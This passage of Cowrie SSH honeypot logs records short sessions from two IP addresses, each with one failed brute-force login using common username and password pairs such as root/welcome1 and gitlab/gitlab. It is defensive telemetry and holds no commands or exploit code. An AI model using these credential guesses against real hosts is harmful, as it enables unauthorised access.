{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34396,"dst_ip":"159.203.135.109","dst_port":22,"session":"820a84dd00ec","protocol":"ssh","message":"New connection: 176.65.139.95:34396 (159.203.135.109:22) [session: 820a84dd00ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:44.632265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:44.635755Z","src_ip":"176.65.139.95","session":"820a84dd00ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:44.722094Z","src_ip":"176.65.139.95","session":"820a84dd00ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:44.986830Z","src_ip":"176.65.139.95","session":"820a84dd00ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:46.072513Z","src_ip":"176.65.139.95","session":"820a84dd00ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56294,"dst_ip":"159.203.135.109","dst_port":22,"session":"d46a0768e9bb","protocol":"ssh","message":"New connection: 192.109.200.78:56294 (159.203.135.109:22) [session: d46a0768e9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:46.138552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:46.306648Z","src_ip":"192.109.200.78","session":"d46a0768e9bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:46.314440Z","src_ip":"192.109.200.78","session":"d46a0768e9bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:47.521173Z","src_ip":"192.109.200.78","session":"d46a0768e9bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:48.916769Z","src_ip":"192.109.200.78","session":"d46a0768e9bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34024,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0b439a6328c","protocol":"ssh","message":"New connection: 192.109.200.78:34024 (159.203.135.109:22) [session: b0b439a6328c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:50.317054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:50.321736Z","src_ip":"192.109.200.78","session":"b0b439a6328c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:50.408880Z","src_ip":"192.109.200.78","session":"b0b439a6328c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:50.656344Z","src_ip":"192.109.200.78","session":"b0b439a6328c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59634,"dst_ip":"159.203.135.109","dst_port":22,"session":"14f8f0d154c9","protocol":"ssh","message":"New connection: 176.65.139.95:59634 (159.203.135.109:22) [session: 14f8f0d154c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:51.187766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:51.192420Z","src_ip":"176.65.139.95","session":"14f8f0d154c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:51.274129Z","src_ip":"176.65.139.95","session":"14f8f0d154c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:51.564235Z","src_ip":"176.65.139.95","session":"14f8f0d154c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:51.897678Z","src_ip":"192.109.200.78","session":"b0b439a6328c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:52.647534Z","src_ip":"176.65.139.95","session":"14f8f0d154c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34040,"dst_ip":"159.203.135.109","dst_port":22,"session":"37751e941dcd","protocol":"ssh","message":"New connection: 192.109.200.78:34040 (159.203.135.109:22) [session: 37751e941dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:54.359366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:54.363575Z","src_ip":"192.109.200.78","session":"37751e941dcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:54.642889Z","src_ip":"192.109.200.78","session":"37751e941dcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:54.966012Z","src_ip":"192.109.200.78","session":"37751e941dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:56.051011Z","src_ip":"192.109.200.78","session":"37751e941dcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59638,"dst_ip":"159.203.135.109","dst_port":22,"session":"302d6b1682b9","protocol":"ssh","message":"New connection: 176.65.139.95:59638 (159.203.135.109:22) [session: 302d6b1682b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:58.153547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:58.158748Z","src_ip":"176.65.139.95","session":"302d6b1682b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:58.241180Z","src_ip":"176.65.139.95","session":"302d6b1682b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:58.499230Z","src_ip":"176.65.139.95","session":"302d6b1682b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54378,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7e3a19ef659","protocol":"ssh","message":"New connection: 192.109.200.78:54378 (159.203.135.109:22) [session: f7e3a19ef659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:58.613042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:58.618132Z","src_ip":"192.109.200.78","session":"f7e3a19ef659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:58.701962Z","src_ip":"192.109.200.78","session":"f7e3a19ef659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:59.271130Z","src_ip":"192.109.200.78","session":"f7e3a19ef659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:59.602576Z","src_ip":"176.65.139.95","session":"302d6b1682b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:00.579296Z","src_ip":"192.109.200.78","session":"f7e3a19ef659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54394,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d0b85b167c0","protocol":"ssh","message":"New connection: 192.109.200.78:54394 (159.203.135.109:22) [session: 7d0b85b167c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:02.640793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:02.645725Z","src_ip":"192.109.200.78","session":"7d0b85b167c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:02.735516Z","src_ip":"192.109.200.78","session":"7d0b85b167c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:02.982965Z","src_ip":"192.109.200.78","session":"7d0b85b167c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:04.068731Z","src_ip":"192.109.200.78","session":"7d0b85b167c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51426,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e3f28412c55","protocol":"ssh","message":"New connection: 176.65.139.95:51426 (159.203.135.109:22) [session: 5e3f28412c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:04.625809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:04.630786Z","src_ip":"176.65.139.95","session":"5e3f28412c55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2